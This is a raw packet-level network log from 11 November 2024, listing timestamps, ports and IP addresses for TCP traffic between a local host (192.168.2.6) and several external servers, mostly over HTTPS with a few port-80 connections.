Nov 11, 2024 12:40:14.759841919 CET	443	49738	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.760209084 CET	49738	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.760212898 CET	443	49738	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.760401964 CET	49739	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.760410070 CET	443	49739	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.760751009 CET	49739	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.760755062 CET	443	49739	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.784370899 CET	49742	443	192.168.2.6	184.28.90.27
Nov 11, 2024 12:40:14.784406900 CET	443	49742	184.28.90.27	192.168.2.6
Nov 11, 2024 12:40:14.784490108 CET	49742	443	192.168.2.6	184.28.90.27
Nov 11, 2024 12:40:14.786024094 CET	49742	443	192.168.2.6	184.28.90.27
Nov 11, 2024 12:40:14.786041021 CET	443	49742	184.28.90.27	192.168.2.6
Nov 11, 2024 12:40:14.787750006 CET	49734	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:14.787756920 CET	443	49734	142.250.185.100	192.168.2.6
Nov 11, 2024 12:40:14.834603071 CET	49734	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:14.848499060 CET	443	49735	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.848716974 CET	443	49735	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.848810911 CET	49735	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.849133015 CET	49735	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.849133015 CET	49735	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.849153996 CET	443	49735	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.849163055 CET	443	49735	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.851823092 CET	443	49736	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.851882935 CET	443	49736	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.851891994 CET	443	49738	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.851912022 CET	443	49739	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.851942062 CET	49736	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.851943970 CET	443	49738	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.851949930 CET	443	49739	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.851979971 CET	49738	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.852004051 CET	49739	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.852087975 CET	443	49737	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.852180004 CET	443	49737	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.852319956 CET	49737	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.852349043 CET	49736	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.852365017 CET	443	49736	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.852380991 CET	49736	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.852385998 CET	443	49736	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.863014936 CET	49737	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.863030910 CET	443	49737	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.863042116 CET	49737	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.863048077 CET	443	49737	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.864360094 CET	49738	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.864381075 CET	443	49738	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.864392996 CET	49738	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.864398003 CET	443	49738	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.865071058 CET	49739	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.865078926 CET	443	49739	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.865092039 CET	49739	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.865096092 CET	443	49739	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.867551088 CET	49743	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.867580891 CET	443	49743	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.867702007 CET	49743	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.868093967 CET	49744	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.868114948 CET	443	49744	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.868165970 CET	49744	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.869400024 CET	49745	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.869424105 CET	443	49745	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.869544983 CET	49743	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.869556904 CET	443	49743	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.869580030 CET	49745	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.869651079 CET	49745	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.869664907 CET	443	49745	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.869759083 CET	49744	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.869772911 CET	443	49744	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.869929075 CET	49746	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.869940996 CET	443	49746	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.870045900 CET	49746	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.870132923 CET	49746	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.870146036 CET	443	49746	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.870479107 CET	49747	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.870488882 CET	443	49747	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:14.870600939 CET	49747	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.870750904 CET	49747	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:14.870760918 CET	443	49747	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.203183889 CET	443	49741	142.250.181.238	192.168.2.6
Nov 11, 2024 12:40:15.205327034 CET	49741	443	192.168.2.6	142.250.181.238
Nov 11, 2024 12:40:15.205347061 CET	443	49741	142.250.181.238	192.168.2.6
Nov 11, 2024 12:40:15.205662966 CET	443	49741	142.250.181.238	192.168.2.6
Nov 11, 2024 12:40:15.205723047 CET	49741	443	192.168.2.6	142.250.181.238
Nov 11, 2024 12:40:15.206258059 CET	443	49741	142.250.181.238	192.168.2.6
Nov 11, 2024 12:40:15.206314087 CET	49741	443	192.168.2.6	142.250.181.238
Nov 11, 2024 12:40:15.207282066 CET	49741	443	192.168.2.6	142.250.181.238
Nov 11, 2024 12:40:15.207346916 CET	443	49741	142.250.181.238	192.168.2.6
Nov 11, 2024 12:40:15.207493067 CET	49741	443	192.168.2.6	142.250.181.238
Nov 11, 2024 12:40:15.207500935 CET	443	49741	142.250.181.238	192.168.2.6
Nov 11, 2024 12:40:15.207529068 CET	49741	443	192.168.2.6	142.250.181.238
Nov 11, 2024 12:40:15.251334906 CET	443	49741	142.250.181.238	192.168.2.6
Nov 11, 2024 12:40:15.256720066 CET	49741	443	192.168.2.6	142.250.181.238
Nov 11, 2024 12:40:15.370409966 CET	443	49742	184.28.90.27	192.168.2.6
Nov 11, 2024 12:40:15.370479107 CET	49742	443	192.168.2.6	184.28.90.27
Nov 11, 2024 12:40:15.372319937 CET	49742	443	192.168.2.6	184.28.90.27
Nov 11, 2024 12:40:15.372328997 CET	443	49742	184.28.90.27	192.168.2.6
Nov 11, 2024 12:40:15.372535944 CET	443	49742	184.28.90.27	192.168.2.6
Nov 11, 2024 12:40:15.400171995 CET	443	49743	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.401273966 CET	443	49744	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.401460886 CET	443	49747	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.401931047 CET	443	49745	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.401984930 CET	443	49746	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.409893036 CET	443	49741	142.250.181.238	192.168.2.6
Nov 11, 2024 12:40:15.412950039 CET	49742	443	192.168.2.6	184.28.90.27
Nov 11, 2024 12:40:15.441401005 CET	49746	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.441418886 CET	443	49746	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.441745043 CET	49744	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.441754103 CET	443	49744	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.441905022 CET	49746	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.441910028 CET	443	49746	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.442301035 CET	49744	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.442306042 CET	443	49744	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.442384005 CET	49745	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.442410946 CET	443	49745	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.442867041 CET	49745	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.442873001 CET	443	49745	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.443017960 CET	49743	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.443037033 CET	443	49743	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.443443060 CET	49743	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.443448067 CET	443	49743	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.443996906 CET	49747	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.444005966 CET	443	49747	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.444772005 CET	49747	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.444777966 CET	443	49747	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.459826946 CET	49741	443	192.168.2.6	142.250.181.238
Nov 11, 2024 12:40:15.459841967 CET	443	49741	142.250.181.238	192.168.2.6
Nov 11, 2024 12:40:15.463781118 CET	49741	443	192.168.2.6	142.250.181.238
Nov 11, 2024 12:40:15.463835955 CET	443	49741	142.250.181.238	192.168.2.6
Nov 11, 2024 12:40:15.463891029 CET	49741	443	192.168.2.6	142.250.181.238
Nov 11, 2024 12:40:15.466989994 CET	49742	443	192.168.2.6	184.28.90.27
Nov 11, 2024 12:40:15.511337042 CET	443	49742	184.28.90.27	192.168.2.6
Nov 11, 2024 12:40:15.533355951 CET	443	49746	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.533428907 CET	443	49746	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.533735037 CET	49746	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.533765078 CET	49746	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.533765078 CET	49746	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.533778906 CET	443	49746	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.533788919 CET	443	49746	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.534399033 CET	443	49744	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.534463882 CET	443	49744	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.534512043 CET	49744	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.534715891 CET	49744	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.534719944 CET	443	49744	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.534735918 CET	49744	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.534742117 CET	443	49744	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.536798954 CET	49748	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.536844015 CET	443	49748	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.536880016 CET	443	49745	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.536951065 CET	49748	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.536973953 CET	443	49745	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.537014961 CET	443	49747	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.537015915 CET	49745	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.537072897 CET	443	49747	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.537122011 CET	49747	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.537168980 CET	49748	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.537179947 CET	443	49748	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.537522078 CET	49749	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.537553072 CET	443	49749	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.537628889 CET	49749	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.537755013 CET	49749	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.537767887 CET	443	49749	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.538116932 CET	49745	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.538136959 CET	443	49745	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.538152933 CET	49745	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.538156986 CET	443	49745	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.539094925 CET	443	49743	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.539115906 CET	49747	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.539119005 CET	443	49747	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.539128065 CET	49747	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.539133072 CET	443	49747	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.539268017 CET	443	49743	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.539345026 CET	49743	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.539688110 CET	49743	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.539699078 CET	443	49743	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.539710999 CET	49743	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.539716005 CET	443	49743	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.541625977 CET	49751	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.541634083 CET	443	49751	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.541702032 CET	49751	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.542859077 CET	49751	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.542867899 CET	443	49751	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.543217897 CET	49752	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.543250084 CET	443	49752	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.543416977 CET	49752	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.543697119 CET	49752	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.543713093 CET	443	49752	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.543952942 CET	49753	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.543979883 CET	443	49753	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.544058084 CET	49753	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.544284105 CET	49753	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:15.544296026 CET	443	49753	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:15.550438881 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:15.550689936 CET	49755	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:15.555171967 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:15.555538893 CET	80	49755	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:15.555603981 CET	49755	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:15.555782080 CET	49755	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:15.555850029 CET	49755	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:15.560683966 CET	80	49755	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:15.561223030 CET	80	49755	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:15.641132116 CET	443	49742	184.28.90.27	192.168.2.6
Nov 11, 2024 12:40:15.641191006 CET	443	49742	184.28.90.27	192.168.2.6
Nov 11, 2024 12:40:15.641273022 CET	49742	443	192.168.2.6	184.28.90.27
Nov 11, 2024 12:40:15.641376019 CET	49742	443	192.168.2.6	184.28.90.27
Nov 11, 2024 12:40:15.641393900 CET	443	49742	184.28.90.27	192.168.2.6
Nov 11, 2024 12:40:15.641408920 CET	49742	443	192.168.2.6	184.28.90.27
Nov 11, 2024 12:40:15.641412973 CET	443	49742	184.28.90.27	192.168.2.6
Nov 11, 2024 12:40:15.683113098 CET	49756	443	192.168.2.6	184.28.90.27
Nov 11, 2024 12:40:15.683147907 CET	443	49756	184.28.90.27	192.168.2.6
Nov 11, 2024 12:40:15.683274984 CET	49756	443	192.168.2.6	184.28.90.27
Nov 11, 2024 12:40:15.683772087 CET	49756	443	192.168.2.6	184.28.90.27
Nov 11, 2024 12:40:15.683779955 CET	443	49756	184.28.90.27	192.168.2.6
Nov 11, 2024 12:40:16.051445007 CET	443	49749	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.052339077 CET	443	49748	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.057151079 CET	443	49751	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.057393074 CET	443	49752	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.058799028 CET	443	49753	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.100223064 CET	49749	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.100224972 CET	49748	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.102999926 CET	49752	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.103002071 CET	49751	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.103010893 CET	49753	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.186718941 CET	49748	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.186729908 CET	443	49748	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.186800003 CET	49753	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.186810017 CET	443	49753	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.187191010 CET	49748	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.187196016 CET	443	49748	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.187288046 CET	49753	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.187293053 CET	443	49753	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.187510967 CET	49752	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.187517881 CET	443	49752	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.187680960 CET	49749	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.187688112 CET	443	49749	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.188028097 CET	49749	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.188033104 CET	443	49749	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.188137054 CET	49752	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.188143015 CET	443	49752	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.188399076 CET	49751	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.188402891 CET	443	49751	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.188796043 CET	49751	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.188803911 CET	443	49751	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.266310930 CET	443	49756	184.28.90.27	192.168.2.6
Nov 11, 2024 12:40:16.266405106 CET	49756	443	192.168.2.6	184.28.90.27
Nov 11, 2024 12:40:16.268161058 CET	49756	443	192.168.2.6	184.28.90.27
Nov 11, 2024 12:40:16.268171072 CET	443	49756	184.28.90.27	192.168.2.6
Nov 11, 2024 12:40:16.268402100 CET	443	49756	184.28.90.27	192.168.2.6
Nov 11, 2024 12:40:16.269670010 CET	49756	443	192.168.2.6	184.28.90.27
Nov 11, 2024 12:40:16.281519890 CET	443	49752	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.281527042 CET	443	49748	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.281580925 CET	443	49748	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.281583071 CET	443	49749	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.281629086 CET	49748	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.281716108 CET	443	49752	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.281780958 CET	49752	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.281831980 CET	49748	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.281845093 CET	443	49748	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.281857967 CET	49748	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.281857967 CET	443	49753	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.281862974 CET	443	49748	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.281904936 CET	443	49749	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.281946898 CET	49749	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.281963110 CET	49752	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.281976938 CET	443	49752	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.281996012 CET	443	49753	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.282001972 CET	49752	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.282010078 CET	443	49752	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.282052040 CET	49753	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.282665014 CET	49749	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.282677889 CET	443	49749	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.283744097 CET	49753	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.283757925 CET	443	49753	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.283766985 CET	49753	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.283771992 CET	443	49753	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.284413099 CET	443	49751	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.284792900 CET	443	49751	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.284879923 CET	49751	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.285898924 CET	49759	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.285926104 CET	443	49759	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.285994053 CET	49759	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.286120892 CET	49751	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.286129951 CET	443	49751	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.286154032 CET	49751	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.286158085 CET	443	49751	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.286592960 CET	49760	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.286633968 CET	443	49760	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.286850929 CET	49760	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.286988020 CET	49760	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.286993980 CET	443	49760	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.287183046 CET	49759	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.287194014 CET	443	49759	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.287852049 CET	49761	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.287873983 CET	443	49761	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.287971973 CET	49761	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.288074017 CET	49761	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.288084030 CET	443	49761	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.288363934 CET	49762	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.288372040 CET	443	49762	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.288460016 CET	49762	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.288578033 CET	49762	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.288590908 CET	443	49762	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.289041042 CET	49763	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.289052010 CET	443	49763	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.289112091 CET	49763	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.289239883 CET	49763	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.289249897 CET	443	49763	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.315330982 CET	443	49756	184.28.90.27	192.168.2.6
Nov 11, 2024 12:40:16.436156034 CET	443	49756	184.28.90.27	192.168.2.6
Nov 11, 2024 12:40:16.477083921 CET	49764	443	192.168.2.6	142.250.181.238
Nov 11, 2024 12:40:16.477127075 CET	443	49764	142.250.181.238	192.168.2.6
Nov 11, 2024 12:40:16.477250099 CET	49764	443	192.168.2.6	142.250.181.238
Nov 11, 2024 12:40:16.478322029 CET	49764	443	192.168.2.6	142.250.181.238
Nov 11, 2024 12:40:16.478338957 CET	443	49764	142.250.181.238	192.168.2.6
Nov 11, 2024 12:40:16.490854025 CET	49756	443	192.168.2.6	184.28.90.27
Nov 11, 2024 12:40:16.490866899 CET	443	49756	184.28.90.27	192.168.2.6
Nov 11, 2024 12:40:16.491126060 CET	49756	443	192.168.2.6	184.28.90.27
Nov 11, 2024 12:40:16.491137981 CET	443	49756	184.28.90.27	192.168.2.6
Nov 11, 2024 12:40:16.491251945 CET	443	49756	184.28.90.27	192.168.2.6
Nov 11, 2024 12:40:16.491278887 CET	443	49756	184.28.90.27	192.168.2.6
Nov 11, 2024 12:40:16.491345882 CET	49756	443	192.168.2.6	184.28.90.27
Nov 11, 2024 12:40:16.491345882 CET	49756	443	192.168.2.6	184.28.90.27
Nov 11, 2024 12:40:16.491353989 CET	443	49756	184.28.90.27	192.168.2.6
Nov 11, 2024 12:40:16.705260038 CET	80	49755	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:16.705319881 CET	49755	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:16.798232079 CET	49755	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:16.799418926 CET	49734	443	192.168.2.6	142.250.185.100
Nov 11, 2024 12:40:16.803303957 CET	80	49755	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:16.805036068 CET	49764	443	192.168.2.6	142.250.181.238
Nov 11, 2024 12:40:16.820436954 CET	443	49762	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.820888042 CET	49762	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.820919991 CET	443	49762	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.821348906 CET	49762	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.821353912 CET	443	49762	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.822547913 CET	443	49763	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.822638988 CET	443	49760	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.823009014 CET	49763	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.823026896 CET	443	49763	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.823201895 CET	49760	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.823216915 CET	443	49760	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.823834896 CET	49763	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.823841095 CET	443	49763	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:16.823951960 CET	49760	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:16.823956966 CET	443	49760	13.107.246.45	192.168.2.6
